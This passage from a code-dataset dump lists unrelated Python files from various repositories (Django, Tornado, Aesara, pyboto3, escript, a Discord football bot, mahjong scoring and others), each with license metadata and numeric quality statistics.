'ti... | 41.340764 | 110 | 0.707187 | 1,644 | 12,981 | 5.268856 | 0.046837 | 0.050104 | 0.059801 | 0.076888 | 0.923805 | 0.912607 | 0.876241 | 0.788502 | 0.708151 | 0.669476 | 0 | 0 | 0.17672 | 12,981 | 313 | 111 | 41.472843 | 0.810517 | 0.009938 | 0 | 0.539823 | 0 | 0 | 0.25255 | 0.055274 | 0 | 0 | 0 | 0 | 0.238938 | 1 | 0.261062 | false | 0.030973 | 0.026549 | 0.022124 | 0.327434 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
503b2ee9818e39c40c49dcffac2c640d4622d371 | 142 | py | Python | mysite/test2/views.py | GavinZhuLei/GavinsDjango | 9c977de1b1d521c99853ef0c982070d4a8cae076 | [
"Apache-2.0"
] | null | null | null | mysite/test2/views.py | GavinZhuLei/GavinsDjango | 9c977de1b1d521c99853ef0c982070d4a8cae076 | [
"Apache-2.0"
] | null | null | null | mysite/test2/views.py | GavinZhuLei/GavinsDjango | 9c977de1b1d521c99853ef0c982070d4a8cae076 | [
"Apache-2.0"
] | null | null | null | #__author__ = 'root'
from django.shortcuts import render_to_response
def index(request):
return render_to_response('test2/index.html',{}) | 28.4 | 52 | 0.774648 | 19 | 142 | 5.368421 | 0.789474 | 0.156863 | 0.313725 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007874 | 0.105634 | 142 | 5 | 52 | 28.4 | 0.795276 | 0.133803 | 0 | 0 | 0 | 0 | 0.130081 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
504496ae7767b71bd0894baa74c7803853217f6a | 3,895 | py | Python | notes/ideal_keyboard.py | Erotemic/misc | 6f8460a690d05e7e0117becc6cae9902cbe2cedd | [
"Apache-2.0"
] | 5 | 2021-04-29T21:07:18.000Z | 2021-09-29T08:46:08.000Z | notes/ideal_keyboard.py | Erotemic/misc | 6f8460a690d05e7e0117becc6cae9902cbe2cedd | [
"Apache-2.0"
] | null | null | null | notes/ideal_keyboard.py | Erotemic/misc | 6f8460a690d05e7e0117becc6cae9902cbe2cedd | [
"Apache-2.0"
] | 1 | 2018-04-07T12:26:21.000Z | 2018-04-07T12:26:21.000Z | import kwplot
import numpy as np
import kwimage
kwplot.autompl()
f = 8
blank_key = np.zeros((64 * f, 54 * f, 3))
blank_key[:, :, :] = np.array(kwimage.Color('darkgray').as255())[None, None, :]
blank_key[0:f * 2, :] = (3, 3, 3)
blank_key[-f * 2:, :] = (3, 3, 3)
blank_key[:, 0:f * 2] = (3, 3, 3)
blank_key[:, -f * 2:] = ... | 30.669291 | 152 | 0.560719 | 572 | 3,895 | 3.620629 | 0.20979 | 0.247224 | 0.301304 | 0.324481 | 0.761468 | 0.761468 | 0.745051 | 0.732496 | 0.701593 | 0.697731 | 0 | 0.040637 | 0.21027 | 3,895 | 126 | 153 | 30.912698 | 0.63264 | 0 | 0 | 0.478261 | 0 | 0 | 0.076508 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.032609 | 0 | 0.032609 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ac9bd2104d9d8a3fc9bdf6a48fa0772305e7b7b1 | 77,423 | py | Python | c20.30s.py | hongkongkiwi/bitbar_c20 | 021ec91b19c612a1dd780774a64865421bc25168 | [
"MIT"
] | null | null | null | c20.30s.py | hongkongkiwi/bitbar_c20 | 021ec91b19c612a1dd780774a64865421bc25168 | [
"MIT"
] | null | null | null | c20.30s.py | hongkongkiwi/bitbar_c20 | 021ec91b19c612a1dd780774a64865421bc25168 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# coding=utf-8
#
# <bitbar.title>C20 NAV and Asset Worth</bitbar.title>
# <bitbar.version>v1.0</bitbar.version>
# <bitbar.desc>Displays current C20 NAV and USD asset worth</bitbar.desc>
from urllib import urlopen
url = urlopen('https://crypto20.com/status').read()
btg_url = urlopen('https://api.coinm... | 629.455285 | 4,629 | 0.954936 | 2,331 | 77,423 | 31.689404 | 0.840412 | 0.14044 | 0.153558 | 0.00069 | 0.002735 | 0.002247 | 0.002247 | 0.001191 | 0.001191 | 0 | 0 | 0.1421 | 0.010527 | 77,423 | 122 | 4,630 | 634.614754 | 0.822133 | 0.007465 | 0 | 0.10989 | 0 | 0.241758 | 0.972588 | 0.963711 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0.021978 | null | null | 0.065934 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
acbd10ef0c83be880d8959765de7ef18ed70b468 | 1,887 | py | Python | crawl-ref/source/webserver/game_data_handler.py | Hellmonk/posthellcrawl | 362cdb2e511a451683f4754f147d5e737658cc84 | [
"CC0-1.0"
] | 21 | 2016-11-03T13:52:57.000Z | 2021-06-25T07:51:20.000Z | crawl-ref/source/webserver/game_data_handler.py | Implojin/hellcrawl | cbb74c842c7b3f85492c75484174de947c2a5014 | [
"CC0-1.0"
] | 34 | 2017-01-31T11:33:10.000Z | 2018-09-25T07:34:59.000Z | crawl-ref/source/webserver/game_data_handler.py | Implojin/hellcrawl | cbb74c842c7b3f85492c75484174de947c2a5014 | [
"CC0-1.0"
] | 6 | 2017-01-04T03:21:49.000Z | 2021-02-15T02:30:39.000Z | import tornado.web
import os.path
import config
class GameDataHandler(tornado.web.StaticFileHandler):
def initialize(self):
super(GameDataHandler, self).initialize(".")
def head(self, version, path):
self.get(version, path, include_body=False)
def get(self, version, path, include_body=Tr... | 33.105263 | 66 | 0.647589 | 224 | 1,887 | 5.276786 | 0.21875 | 0.07445 | 0.076142 | 0.07445 | 0.800338 | 0.800338 | 0.800338 | 0.717428 | 0.717428 | 0.639594 | 0 | 0.005563 | 0.237944 | 1,887 | 56 | 67 | 33.696429 | 0.816412 | 0 | 0 | 0.697674 | 0 | 0 | 0.075252 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.232558 | false | 0 | 0.069767 | 0 | 0.395349 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4a0a800c4a1499ac4aaad12249fceb5a281cec43 | 28 | py | Python | src/zig/utilities.py | rx-gan/zig | 5bdbbbda85ff3ac85a0c7a91dc54d995602f9a96 | [
"MIT"
] | null | null | null | src/zig/utilities.py | rx-gan/zig | 5bdbbbda85ff3ac85a0c7a91dc54d995602f9a96 | [
"MIT"
] | null | null | null | src/zig/utilities.py | rx-gan/zig | 5bdbbbda85ff3ac85a0c7a91dc54d995602f9a96 | [
"MIT"
] | 1 | 2021-07-14T15:37:38.000Z | 2021-07-14T15:37:38.000Z | def generate_id():
pass
| 9.333333 | 18 | 0.642857 | 4 | 28 | 4.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 28 | 2 | 19 | 14 | 0.809524 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
4a1c8ae6984ae9ec1b616c78517f0e10ca2113e3 | 19,020 | py | Python | tests/FeatureEngineering_QA.py | SeanBenner/RetroFit | 1417775c2154c2127b3dedaf133f8f21d5f1adfa | [
"MIT"
] | null | null | null | tests/FeatureEngineering_QA.py | SeanBenner/RetroFit | 1417775c2154c2127b3dedaf133f8f21d5f1adfa | [
"MIT"
] | null | null | null | tests/FeatureEngineering_QA.py | SeanBenner/RetroFit | 1417775c2154c2127b3dedaf133f8f21d5f1adfa | [
"MIT"
] | null | null | null | # QA: Test FE0_AutoLags
import timeit
import datatable as dt
import polars as pl
import retrofit
from retrofit import FeatureEngineering as fe
## No Group Example: datatable
data = dt.fread("C:/Users/Bizon/Documents/GitHub/BenchmarkData.csv")
t_start = timeit.default_timer()
Output = fe.FE0_AutoLags(data=data, ArgsLis... | 33.964286 | 421 | 0.71572 | 2,099 | 19,020 | 6.396379 | 0.061934 | 0.017876 | 0.053627 | 0.023834 | 0.961195 | 0.961195 | 0.961195 | 0.958886 | 0.948086 | 0.929093 | 0 | 0.018226 | 0.091325 | 19,020 | 559 | 422 | 34.025045 | 0.758607 | 0.27571 | 0 | 0.948905 | 0 | 0 | 0.223362 | 0.07857 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.116788 | null | null | 0.171533 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c5941d48d565f0d8cd6c7e74b039f2807bc1987c | 735 | py | Python | tests/parser/grounding.8.simplified.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | tests/parser/grounding.8.simplified.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | tests/parser/grounding.8.simplified.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | input = """
att_val(perGrant,name,nameCG).
att_val(perGrant,name,nameGrant).
att_val(nameCG,lastName,"Grant").
att_val(nameGrant,lastName,"Leach").
acted(perGrant,m12).
involved(P,M) :- acted(P,M).
matchingMovie(q1, m12).
inferred_topic(X5, X1) :- matchingMovie(X5, X4), involved(X3, X4), att_val(X3... | 19.864865 | 117 | 0.668027 | 106 | 735 | 4.5 | 0.235849 | 0.150943 | 0.1174 | 0.150943 | 0.976939 | 0.976939 | 0.976939 | 0.976939 | 0.976939 | 0.976939 | 0 | 0.047393 | 0.138776 | 735 | 36 | 118 | 20.416667 | 0.706161 | 0 | 0 | 0.9 | 0 | 0.1 | 0.955903 | 0.375533 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c5f5a6438107ba3b569498d324c3893a7272f60a | 57,120 | py | Python | pyboto3/licensemanager.py | gehad-shaat/pyboto3 | 4a0c2851a8bc04fb1c71c36086f7bb257e48181d | [
"MIT"
] | 91 | 2016-12-31T11:38:37.000Z | 2021-09-16T19:33:23.000Z | pyboto3/licensemanager.py | gehad-shaat/pyboto3 | 4a0c2851a8bc04fb1c71c36086f7bb257e48181d | [
"MIT"
] | 7 | 2017-01-02T18:54:23.000Z | 2020-08-11T13:54:02.000Z | pyboto3/licensemanager.py | gehad-shaat/pyboto3 | 4a0c2851a8bc04fb1c71c36086f7bb257e48181d | [
"MIT"
] | 26 | 2016-12-31T13:11:00.000Z | 2022-03-03T21:01:12.000Z | '''
The MIT License (MIT)
Copyright (c) 2016 WavyCloud
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, p... | 30.858995 | 1,246 | 0.688375 | 5,412 | 57,120 | 7.221729 | 0.095898 | 0.064988 | 0.097482 | 0.01791 | 0.79759 | 0.76658 | 0.740482 | 0.726717 | 0.716662 | 0.697498 | 0 | 0.004693 | 0.227854 | 57,120 | 1,850 | 1,247 | 30.875676 | 0.881465 | 0.956373 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0.5 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
4f3618fc1fbac32786c0dc6f71396e9e55d0e848 | 1,926 | py | Python | src/printing/fonts/PSFont_Courier.py | vadmium/grailbrowser | ca94e6db2359bcb16c0da256771550d1327c6d33 | [
"CNRI-Python",
"CNRI-Jython"
] | 9 | 2015-03-23T23:21:42.000Z | 2021-08-01T01:47:22.000Z | src/printing/fonts/PSFont_Courier.py | vadmium/grailbrowser | ca94e6db2359bcb16c0da256771550d1327c6d33 | [
"CNRI-Python",
"CNRI-Jython"
] | null | null | null | src/printing/fonts/PSFont_Courier.py | vadmium/grailbrowser | ca94e6db2359bcb16c0da256771550d1327c6d33 | [
"CNRI-Python",
"CNRI-Jython"
] | 11 | 2015-03-23T23:22:22.000Z | 2020-06-08T14:24:17.000Z | # Character width information for PostScript font `Courier'
# generated from the Adobe Font Metric file `../../../../adobe/com_____.afm'. Adobe
# copyright notice follows:
#
# Copyright (c) 1989, 1990, 1991 Adobe Systems Incorporated. All rights reserved.
#
from . import PSFont
font = PSFont.PSFont('Courier', 'Courier... | 45.857143 | 84 | 0.410177 | 296 | 1,926 | 2.652027 | 0.10473 | 1.031847 | 1.444586 | 1.803822 | 0.705732 | 0.701911 | 0.695541 | 0.689172 | 0.686624 | 0.682803 | 0 | 0.51879 | 0.433541 | 1,926 | 41 | 85 | 46.97561 | 0.200733 | 0.127726 | 0 | 0.685714 | 1 | 0 | 0.008368 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.028571 | 0 | 0.028571 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
4f550d9e2070e56ce20852e02ea1c388c883935c | 817 | py | Python | vimfiles/globals/.ycm_extra_conf.py | jurek333/WinVimConfig | 2e3859fe907447f151c0c71e1550664fff88bc21 | [
"MIT"
] | null | null | null | vimfiles/globals/.ycm_extra_conf.py | jurek333/WinVimConfig | 2e3859fe907447f151c0c71e1550664fff88bc21 | [
"MIT"
] | null | null | null | vimfiles/globals/.ycm_extra_conf.py | jurek333/WinVimConfig | 2e3859fe907447f151c0c71e1550664fff88bc21 | [
"MIT"
] | null | null | null | def FlagsForFile(filename, **kwargs):
return {
'flags': ['-x', 'c++', '-std=c++14', '-Wall', '-Wextra', '-Werror'
,'-I','C:/Program Files (x86)/Microsoft Visual Studio/2017/Community/VC/Tools/MSVC/14.13.26128/include'
,'-I','C:/Program Files (x86)/Microsoft Visual Studio/2017/Community/VC/Tools/MSVC/14.13.2612... | 62.846154 | 113 | 0.668299 | 132 | 817 | 4.136364 | 0.333333 | 0.029304 | 0.131868 | 0.205128 | 0.783883 | 0.783883 | 0.771062 | 0.71978 | 0.71978 | 0.71978 | 0 | 0.128205 | 0.093023 | 817 | 12 | 114 | 68.083333 | 0.608637 | 0 | 0 | 0 | 0 | 0.666667 | 0.801714 | 0.397797 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0 | 0.083333 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
4f8df0e1a5c5d1cdbe6506fce2eaf8ce245ec8c1 | 383 | py | Python | test/optest/tfunits/ArgMinTest.py | ishine/MAI | 64753cd2f59af2949896937c2e5dbfc4d8bab1e0 | [
"Apache-2.0"
] | null | null | null | test/optest/tfunits/ArgMinTest.py | ishine/MAI | 64753cd2f59af2949896937c2e5dbfc4d8bab1e0 | [
"Apache-2.0"
] | null | null | null | test/optest/tfunits/ArgMinTest.py | ishine/MAI | 64753cd2f59af2949896937c2e5dbfc4d8bab1e0 | [
"Apache-2.0"
] | null | null | null | import tensorflow as tf
sess = tf.InteractiveSession()
t1=tf.constant([2., 1.,3, 4], dtype=tf.float32)
t2=tf.constant(0, dtype=tf.int32)
t1=tf.reshape(t1,[2,2]).eval()
target = tf.argmin(t1, t2).eval()
print target
t1=tf.constant([2., 1.,3, 4], dtype=tf.float32)
t2=tf.constant(1, dtype=tf.int32)
t1=tf.reshape(t1,[... | 18.238095 | 47 | 0.673629 | 71 | 383 | 3.633803 | 0.309859 | 0.062016 | 0.093023 | 0.100775 | 0.821705 | 0.821705 | 0.821705 | 0.821705 | 0.821705 | 0.821705 | 0 | 0.099415 | 0.10705 | 383 | 20 | 48 | 19.15 | 0.654971 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.083333 | null | null | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
96d72678969ba0a57547b62e79c71da701c9f11e | 66,828 | py | Python | escriptcore/test/python/test_pdetools.py | markendr/esys-escript.github.io | 0023eab09cd71f830ab098cb3a468e6139191e8d | [
"Apache-2.0"
] | null | null | null | escriptcore/test/python/test_pdetools.py | markendr/esys-escript.github.io | 0023eab09cd71f830ab098cb3a468e6139191e8d | [
"Apache-2.0"
] | 1 | 2019-01-14T03:07:43.000Z | 2019-01-14T03:07:43.000Z | escriptcore/test/python/test_pdetools.py | markendr/esys-escript.github.io | 0023eab09cd71f830ab098cb3a468e6139191e8d | [
"Apache-2.0"
] | null | null | null |
##############################################################################
#
# Copyright (c) 2003-2018 by The University of Queensland
# http://www.uq.edu.au
#
# Primary Business: Queensland, Australia
# Licensed under the Apache License, version 2.0
# http://www.apache.org/licenses/LICENSE-2.0
#
# Development unt... | 54.243506 | 154 | 0.581927 | 7,396 | 66,828 | 5.19132 | 0.06463 | 0.038026 | 0.024378 | 0.021097 | 0.947519 | 0.936398 | 0.932439 | 0.931215 | 0.926527 | 0.922047 | 0 | 0.450763 | 0.286871 | 66,828 | 1,231 | 155 | 54.287571 | 0.35489 | 0.008933 | 0 | 0.868733 | 0 | 0 | 0.019524 | 0 | 0 | 0 | 0 | 0 | 0.090246 | 1 | 0.076572 | false | 0 | 0.022789 | 0.013674 | 0.132179 | 0.000912 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
4fe5eec57880f00e878a2549b7b487f2c57c7922 | 18,665 | py | Python | tests/scan/test_utils.py | zaxtax/aesara | ef256e526e313f9e7916f8c9b2c4802c44d0b44a | [
"BSD-3-Clause"
] | null | null | null | tests/scan/test_utils.py | zaxtax/aesara | ef256e526e313f9e7916f8c9b2c4802c44d0b44a | [
"BSD-3-Clause"
] | null | null | null | tests/scan/test_utils.py | zaxtax/aesara | ef256e526e313f9e7916f8c9b2c4802c44d0b44a | [
"BSD-3-Clause"
] | null | null | null | from copy import copy
import numpy as np
import pytest
import aesara
from aesara import tensor as at
from aesara.scan.utils import ScanArgs
@pytest.fixture(scope="module", autouse=True)
def set_aesara_flags():
with aesara.config.change_flags(cxx="", mode="FAST_COMPILE"):
yield
def create_test_hmm():
... | 34.693309 | 86 | 0.713957 | 3,298 | 18,665 | 3.61977 | 0.069739 | 0.10186 | 0.101357 | 0.057464 | 0.83297 | 0.803401 | 0.779695 | 0.756492 | 0.747613 | 0.747613 | 0 | 0.006933 | 0.188588 | 18,665 | 537 | 87 | 34.757914 | 0.781314 | 0.108492 | 0 | 0.727735 | 0 | 0 | 0.056824 | 0 | 0 | 0 | 0 | 0.001862 | 0.307888 | 1 | 0.033079 | false | 0 | 0.015267 | 0 | 0.05598 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4ff27f69b89670b2baefce25a36fcbf63e0d1175 | 1,408 | py | Python | tests.py | AmandaGouveia/SudokuSolver | e748d8d50c8515c28682485f6c485353fdbf4863 | [
"MIT"
] | null | null | null | tests.py | AmandaGouveia/SudokuSolver | e748d8d50c8515c28682485f6c485353fdbf4863 | [
"MIT"
] | null | null | null | tests.py | AmandaGouveia/SudokuSolver | e748d8d50c8515c28682485f6c485353fdbf4863 | [
"MIT"
] | null | null | null | import app
puzzle = [
[5, 3, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 8, 0, 0],
[0, 2, 7, 1, 3, 0, 0, 0, 0],
[0, 9, 0, 3, 2, 8, 0, 5, 0],
[0, 1, 0, 4, 0, 0, 0, 0, 6],
[0, 0, 0, 0, 0, 0, 0, 0, 4],
[0, 6, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 5, 0, 0, 4, 0, 6, 0],
[3, 0, 0, 0, 0, 0, 9, 0, 0]
]... | 25.6 | 36 | 0.265625 | 333 | 1,408 | 1.123123 | 0.051051 | 0.224599 | 0.256684 | 0.26738 | 0.791444 | 0.791444 | 0.772727 | 0.772727 | 0.665775 | 0.663102 | 0 | 0.41169 | 0.441051 | 1,408 | 54 | 37 | 26.074074 | 0.063532 | 0 | 0 | 0.48 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.02 | 0 | 0.02 | 0.02 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
8c92cadb4ac1c3337d2b67401a9eac17bc429021 | 9,305 | py | Python | commands/results/matches.py | PyGera/fantacalcio-bot | bf9f8aba45d8c21b22255267764077d443e3ee10 | [
"MIT"
] | 2 | 2021-10-08T23:14:23.000Z | 2021-11-01T15:34:21.000Z | commands/results/matches.py | PyGera/fantacalcio-bot | bf9f8aba45d8c21b22255267764077d443e3ee10 | [
"MIT"
] | 1 | 2021-10-17T00:16:06.000Z | 2021-10-17T00:16:06.000Z | commands/results/matches.py | PyGera/fantacalcio-bot | bf9f8aba45d8c21b22255267764077d443e3ee10 | [
"MIT"
] | null | null | null | import discord
import datetime
import requests
async def matches_function(ctx, client, FOOTBALL_API_HEADERS):
'''
Matches command:
Getting live data about the current Serie A TIM matchday
'''
my_round = {}
params = (
("season_id","2100"),
)
# Requesting to the API a... | 56.737805 | 1,141 | 0.633423 | 1,285 | 9,305 | 4.449805 | 0.108949 | 0.069955 | 0.083945 | 0.066457 | 0.941413 | 0.941413 | 0.937041 | 0.937041 | 0.937041 | 0.921126 | 0 | 0.012931 | 0.152284 | 9,305 | 163 | 1,142 | 57.08589 | 0.710446 | 0.019022 | 0 | 0.79798 | 0 | 0.121212 | 0.597872 | 0.268233 | 0 | 0 | 0.003547 | 0 | 0 | 1 | 0 | false | 0 | 0.030303 | 0 | 0.030303 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
50ba4e237edb90dd6831a37367d420d4abd52d4a | 6,596 | py | Python | ironic_neutron_plugin/tests/unit/drivers/cisco/fixtures.py | rackerlabs/ironic-neutron-plugin | 7b3e19840048bc49d846362b84973c2f2b03b05e | [
"Apache-2.0"
] | 10 | 2015-01-21T22:04:40.000Z | 2017-06-29T06:55:45.000Z | ironic_neutron_plugin/tests/unit/drivers/cisco/fixtures.py | rackerlabs/ironic-neutron-plugin | 7b3e19840048bc49d846362b84973c2f2b03b05e | [
"Apache-2.0"
] | null | null | null | ironic_neutron_plugin/tests/unit/drivers/cisco/fixtures.py | rackerlabs/ironic-neutron-plugin | 7b3e19840048bc49d846362b84973c2f2b03b05e | [
"Apache-2.0"
] | 8 | 2015-01-30T16:40:30.000Z | 2020-07-23T06:06:53.000Z | # Copyright (c) 2014 OpenStack Foundation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 33.825641 | 74 | 0.608096 | 887 | 6,596 | 4.335964 | 0.201804 | 0.014561 | 0.043682 | 0.054602 | 0.75221 | 0.73765 | 0.709048 | 0.709048 | 0.700988 | 0.643526 | 0 | 0.070491 | 0.249394 | 6,596 | 194 | 75 | 34 | 0.706322 | 0.085052 | 0 | 0.790541 | 0 | 0.047297 | 0.884385 | 0.256811 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047297 | false | 0 | 0 | 0 | 0.094595 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
50de7bc9dd52da659150da303de2ad03d25e2b25 | 2,680 | py | Python | mahjonggscoring/rules/test/test_two_kongs.py | kajiki/py-mahjongg-scoring | b23202de018a8206a4be5594247faa0754e7e54e | [
"MIT"
] | null | null | null | mahjonggscoring/rules/test/test_two_kongs.py | kajiki/py-mahjongg-scoring | b23202de018a8206a4be5594247faa0754e7e54e | [
"MIT"
] | null | null | null | mahjonggscoring/rules/test/test_two_kongs.py | kajiki/py-mahjongg-scoring | b23202de018a8206a4be5594247faa0754e7e54e | [
"MIT"
] | null | null | null | import unittest2
from mahjonggscoring.rules import TwoKongs
from mahjonggscoring import Hand
#Both kongs are melded.
class TestTwoKongsPartial(unittest2.TestCase):
def setUp(self):
data = [["W", "W", "W"], ["8#", "8#", "8#", "8#"], ["3#", "3#", "3#", "3#"], ["2/", "2/", "2/"], ["3●", "3●"]]
hand = Hand(data, {"co... | 35.733333 | 112 | 0.58209 | 364 | 2,680 | 4.252747 | 0.134615 | 0.021964 | 0.01938 | 0.122093 | 0.80168 | 0.80168 | 0.80168 | 0.80168 | 0.80168 | 0.80168 | 0 | 0.043137 | 0.143657 | 2,680 | 75 | 113 | 35.733333 | 0.627015 | 0.008209 | 0 | 0.683333 | 0 | 0 | 0.091046 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0.216667 | false | 0.283333 | 0.05 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
